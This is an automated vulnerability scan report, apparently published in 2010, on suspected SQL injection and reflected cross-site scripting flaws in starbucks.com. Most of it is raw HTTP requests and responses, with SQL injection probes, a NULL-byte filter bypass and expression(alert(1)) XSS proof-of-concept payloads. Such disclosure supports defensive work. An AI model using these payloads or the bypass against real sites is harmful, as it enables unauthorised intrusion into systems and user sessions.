XSS Report | www.starbucks.com | Hoyt LLC Research

CWE-79 | CAPEC-86 | XSS | Cross Site Scripting

Report generated by XSS.CX at Wed Dec 08 08:06:58 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research


Contents

Loading

1. SQL injection

1.1. https://www.starbucks.com/account/partneracct/IDMLogin [name of an arbitrarily supplied request parameter]

1.2. https://www.starbucks.com/card/manage/check-your-balance [User-Agent HTTP header]

1.3. https://www.starbucks.com/card/rewards/card-rewards-canada [Referer HTTP header]

1.4. https://www.starbucks.com/card/rewards/program-information [User-Agent HTTP header]

1.5. https://www.starbucks.com/card/starbucks-gold [.SbuxAuth cookie]

2. Cross-site scripting (reflected)

2.1. https://www.starbucks.com/card [name of an arbitrarily supplied request parameter]

2.2. https://www.starbucks.com/card/rewards/card-rewards-canada [name of an arbitrarily supplied request parameter]

2.3. https://www.starbucks.com/card/rewards/program-information [name of an arbitrarily supplied request parameter]

2.4. https://www.starbucks.com/card/starbucks-gold [name of an arbitrarily supplied request parameter]



1. SQL injection  next
There are 5 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:



1.1. https://www.starbucks.com/account/partneracct/IDMLogin [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Tentative
Host:   https://www.starbucks.com
Path:   /account/partneracct/IDMLogin

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request 1

POST /account/partneracct/IDMLogin HTTP/1.1
Referer: https://www.starbucks.com/account/partneracct/idmlogin
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.starbucks.com
Cookie: lf=0; skin=; ASP.NET_SessionId=lgecttv1p0hdcndyafhr1ahm
Expect: 100-continue
Accept-Encoding: gzip, deflate
Content-Length: 131

UserName=-1 OR 1=1)) AND 1=(SELECT IF((IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>25),1,2))--%20&PassWord=3&sign-in=Sign+In&1%00'=1

Response 1 (redirected)

HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=UTF-8
Location: https://www.starbucks.com/error
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 08 Dec 2010 01:00:12 GMT
Content-Length: 154

<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="https://www.starbucks.com/error">here</a></body>

Request 2

POST /account/partneracct/IDMLogin HTTP/1.1
Referer: https://www.starbucks.com/account/partneracct/idmlogin
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.starbucks.com
Cookie: lf=0; skin=; ASP.NET_SessionId=lgecttv1p0hdcndyafhr1ahm
Expect: 100-continue
Accept-Encoding: gzip, deflate
Content-Length: 131

UserName=-1 OR 1=1)) AND 1=(SELECT IF((IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>25),1,2))--%20&PassWord=3&sign-in=Sign+In&1%00''=1

Response 2

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
p3p: CP="CAO PSA OUR"
Set-Cookie: skin='waitfor%20delay'0%3a0%3a20'--; path=/
Set-Cookie: skin='waitfor%20delay'0%3a0%3a20'--; path=/
Set-Cookie: skin='waitfor%20delay'0%3a0%3a20'--; path=/
Set-Cookie: skin='waitfor%20delay'0%3a0%3a20'--; path=/
Set-Cookie: skin='waitfor%20delay'0%3a0%3a20'--; path=/
Set-Cookie: skin='waitfor%20delay'0%3a0%3a20'--; path=/
Set-Cookie: skin='waitfor%20delay'0%3a0%3a20'--; path=/
Set-Cookie: skin='waitfor%20delay'0%3a0%3a20'--; path=/
Set-Cookie: skin='waitfor%20delay'0%3a0%3a20'--; path=/
Set-Cookie: skin='waitfor%20delay'0%3a0%3a20'--; path=/
Set-Cookie: skin='waitfor%20delay'0%3a0%3a20'--; path=/
Set-Cookie: skin='waitfor%20delay'0%3a0%3a20'--; path=/
Set-Cookie: skin='waitfor%20delay'0%3a0%3a20'--; path=/
X-Powered-By: ASP.NET
Date: Wed, 08 Dec 2010 01:00:15 GMT
Content-Length: 37413

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.org/schema/" xmln
...[SNIP]...

1.2. https://www.starbucks.com/card/manage/check-your-balance [User-Agent HTTP header]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   https://www.starbucks.com
Path:   /card/manage/check-your-balance

Issue detail

The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the User-Agent HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /card/manage/check-your-balance HTTP/1.1
Host: www.starbucks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'
Connection: close
Cookie: .SbuxAuth=; lf=0; ASP.NET_SessionId=lgecttv1p0hdcndyafhr1ahm; skin=;

Response 1

HTTP/1.1 302 Found
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Location: /error/
Server: Microsoft-IIS/7.0
p3p: CP="CAO PSA OUR"
X-Powered-By: ASP.NET
Date: Wed, 08 Dec 2010 07:43:18 GMT
Connection: close
Content-Length: 124

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="/error/">here</a>.</h2>
</body></html>

Request 2

GET /card/manage/check-your-balance HTTP/1.1
Host: www.starbucks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)''
Connection: close
Cookie: .SbuxAuth=; lf=0; ASP.NET_SessionId=lgecttv1p0hdcndyafhr1ahm; skin=;

Response 2

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
p3p: CP="CAO PSA OUR"
X-Powered-By: ASP.NET
Date: Wed, 08 Dec 2010 07:43:22 GMT
Connection: close
Content-Length: 38437

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
<html
xmlns="http://www.w3.org/1999/xhtml"
xmlns:og="http://opengraphprotocol.org/s
...[SNIP]...

1.3. https://www.starbucks.com/card/rewards/card-rewards-canada [Referer HTTP header]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   https://www.starbucks.com
Path:   /card/rewards/card-rewards-canada

Issue detail

The Referer HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the Referer HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request 1

GET /card/rewards/card-rewards-canada HTTP/1.1
Host: www.starbucks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: .SbuxAuth=; lf=0; ASP.NET_SessionId=lgecttv1p0hdcndyafhr1ahm; skin=;
Referer: http://www.google.com/search?hl=en&q=%00'

Response 1

HTTP/1.1 302 Found
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Location: /error/
Server: Microsoft-IIS/7.0
p3p: CP="CAO PSA OUR"
X-Powered-By: ASP.NET
Date: Wed, 08 Dec 2010 07:44:19 GMT
Connection: close
Content-Length: 124

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="/error/">here</a>.</h2>
</body></html>

Request 2

GET /card/rewards/card-rewards-canada HTTP/1.1
Host: www.starbucks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: .SbuxAuth=; lf=0; ASP.NET_SessionId=lgecttv1p0hdcndyafhr1ahm; skin=;
Referer: http://www.google.com/search?hl=en&q=%00''

Response 2

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
p3p: CP="CAO PSA OUR"
X-Powered-By: ASP.NET
Date: Wed, 08 Dec 2010 07:44:21 GMT
Connection: close
Content-Length: 37056

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
<html
xmlns="http://www.w3.org/1999/xhtml"
xmlns:og="http://opengraphprotocol.org/s
...[SNIP]...

1.4. https://www.starbucks.com/card/rewards/program-information [User-Agent HTTP header]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   https://www.starbucks.com
Path:   /card/rewards/program-information

Issue detail

The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the User-Agent HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /card/rewards/program-information HTTP/1.1
Host: www.starbucks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'
Connection: close
Cookie: .SbuxAuth=; lf=0; ASP.NET_SessionId=lgecttv1p0hdcndyafhr1ahm; skin=;

Response 1

HTTP/1.1 302 Found
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Location: /error/
Server: Microsoft-IIS/7.0
p3p: CP="CAO PSA OUR"
X-Powered-By: ASP.NET
Date: Wed, 08 Dec 2010 07:43:32 GMT
Connection: close
Content-Length: 124

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="/error/">here</a>.</h2>
</body></html>

Request 2

GET /card/rewards/program-information HTTP/1.1
Host: www.starbucks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)''
Connection: close
Cookie: .SbuxAuth=; lf=0; ASP.NET_SessionId=lgecttv1p0hdcndyafhr1ahm; skin=;

Response 2

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
p3p: CP="CAO PSA OUR"
X-Powered-By: ASP.NET
Date: Wed, 08 Dec 2010 07:43:35 GMT
Connection: close
Content-Length: 42652

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
<html
xmlns="http://www.w3.org/1999/xhtml"
xmlns:og="http://opengraphprotocol.org/s
...[SNIP]...

1.5. https://www.starbucks.com/card/starbucks-gold [.SbuxAuth cookie]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   https://www.starbucks.com
Path:   /card/starbucks-gold

Issue detail

The .SbuxAuth cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the .SbuxAuth cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request 1

GET /card/starbucks-gold HTTP/1.1
Host: www.starbucks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: .SbuxAuth=%00'; lf=0; ASP.NET_SessionId=lgecttv1p0hdcndyafhr1ahm; skin=;

Response 1

HTTP/1.1 302 Found
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Location: /error/
Server: Microsoft-IIS/7.0
p3p: CP="CAO PSA OUR"
X-Powered-By: ASP.NET
Date: Wed, 08 Dec 2010 07:40:05 GMT
Connection: close
Content-Length: 124

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="/error/">here</a>.</h2>
</body></html>

Request 2

GET /card/starbucks-gold HTTP/1.1
Host: www.starbucks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: .SbuxAuth=%00''; lf=0; ASP.NET_SessionId=lgecttv1p0hdcndyafhr1ahm; skin=;

Response 2

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
p3p: CP="CAO PSA OUR"
X-Powered-By: ASP.NET
Date: Wed, 08 Dec 2010 07:40:08 GMT
Connection: close
Content-Length: 36235

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
<html
xmlns="http://www.w3.org/1999/xhtml"
xmlns:og="http://opengraphprotocol.org/s
...[SNIP]...

2. Cross-site scripting (reflected)  previous
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. https://www.starbucks.com/card [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.starbucks.com
Path:   /card

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f9196"style%3d"x%3aexpression(alert(1))"2bb14a09209 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as f9196"style="x:expression(alert(1))"2bb14a09209 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /card?f9196"style%3d"x%3aexpression(alert(1))"2bb14a09209=1 HTTP/1.1
Host: www.starbucks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: .SbuxAuth=; lf=0; ASP.NET_SessionId=lgecttv1p0hdcndyafhr1ahm; skin=;

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
p3p: CP="CAO PSA OUR"
X-Powered-By: ASP.NET
Date: Wed, 08 Dec 2010 07:41:40 GMT
Connection: close
Content-Length: 38019

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
<html
xmlns="http://www.w3.org/1999/xhtml"
xmlns:og="http://opengraphprotocol.org/s
...[SNIP]...
<meta property="og:url" content="https://www.starbucks.com/card?f9196"style="x:expression(alert(1))"2bb14a09209=1"/>
...[SNIP]...

2.2. https://www.starbucks.com/card/rewards/card-rewards-canada [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.starbucks.com
Path:   /card/rewards/card-rewards-canada

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26c4c"style%3d"x%3aexpression(alert(1))"4bdf545b85e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 26c4c"style="x:expression(alert(1))"4bdf545b85e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /card/rewards/card-rewards-canada?26c4c"style%3d"x%3aexpression(alert(1))"4bdf545b85e=1 HTTP/1.1
Host: www.starbucks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: .SbuxAuth=; lf=0; ASP.NET_SessionId=lgecttv1p0hdcndyafhr1ahm; skin=;

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
p3p: CP="CAO PSA OUR"
X-Powered-By: ASP.NET
Date: Wed, 08 Dec 2010 07:42:47 GMT
Connection: close
Content-Length: 37206

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
<html
xmlns="http://www.w3.org/1999/xhtml"
xmlns:og="http://opengraphprotocol.org/s
...[SNIP]...
<meta property="og:url" content="https://www.starbucks.com/card/rewards/card-rewards-canada?26c4c"style="x:expression(alert(1))"4bdf545b85e=1"/>
...[SNIP]...

2.3. https://www.starbucks.com/card/rewards/program-information [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.starbucks.com
Path:   /card/rewards/program-information

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2f8d6"style%3d"x%3aexpression(alert(1))"d5e731ac872 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 2f8d6"style="x:expression(alert(1))"d5e731ac872 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /card/rewards/program-information?2f8d6"style%3d"x%3aexpression(alert(1))"d5e731ac872=1 HTTP/1.1
Host: www.starbucks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: .SbuxAuth=; lf=0; ASP.NET_SessionId=lgecttv1p0hdcndyafhr1ahm; skin=;

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
p3p: CP="CAO PSA OUR"
X-Powered-By: ASP.NET
Date: Wed, 08 Dec 2010 07:42:24 GMT
Connection: close
Content-Length: 42802

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
<html
xmlns="http://www.w3.org/1999/xhtml"
xmlns:og="http://opengraphprotocol.org/s
...[SNIP]...
<meta property="og:url" content="https://www.starbucks.com/card/rewards/program-information?2f8d6"style="x:expression(alert(1))"d5e731ac872=1"/>
...[SNIP]...

2.4. https://www.starbucks.com/card/starbucks-gold [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.starbucks.com
Path:   /card/starbucks-gold

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4be80"%20style%3dx%3aexpression(alert(1))%206a22aa5aef0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 4be80" style=x:expression(alert(1)) 6a22aa5aef0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /card/starbucks-gold?4be80"%20style%3dx%3aexpression(alert(1))%206a22aa5aef0=1 HTTP/1.1
Host: www.starbucks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: .SbuxAuth=; lf=0; ASP.NET_SessionId=lgecttv1p0hdcndyafhr1ahm; skin=;

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
p3p: CP="CAO PSA OUR"
X-Powered-By: ASP.NET
Date: Wed, 08 Dec 2010 07:42:39 GMT
Connection: close
Content-Length: 36385

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
<html
xmlns="http://www.w3.org/1999/xhtml"
xmlns:og="http://opengraphprotocol.org/s
...[SNIP]...
<meta property="og:url" content="https://www.starbucks.com/card/starbucks-gold?4be80" style=x:expression(alert(1)) 6a22aa5aef0=1"/>
...[SNIP]...

Report generated by XSS.CX at Wed Dec 08 08:06:58 CST 2010.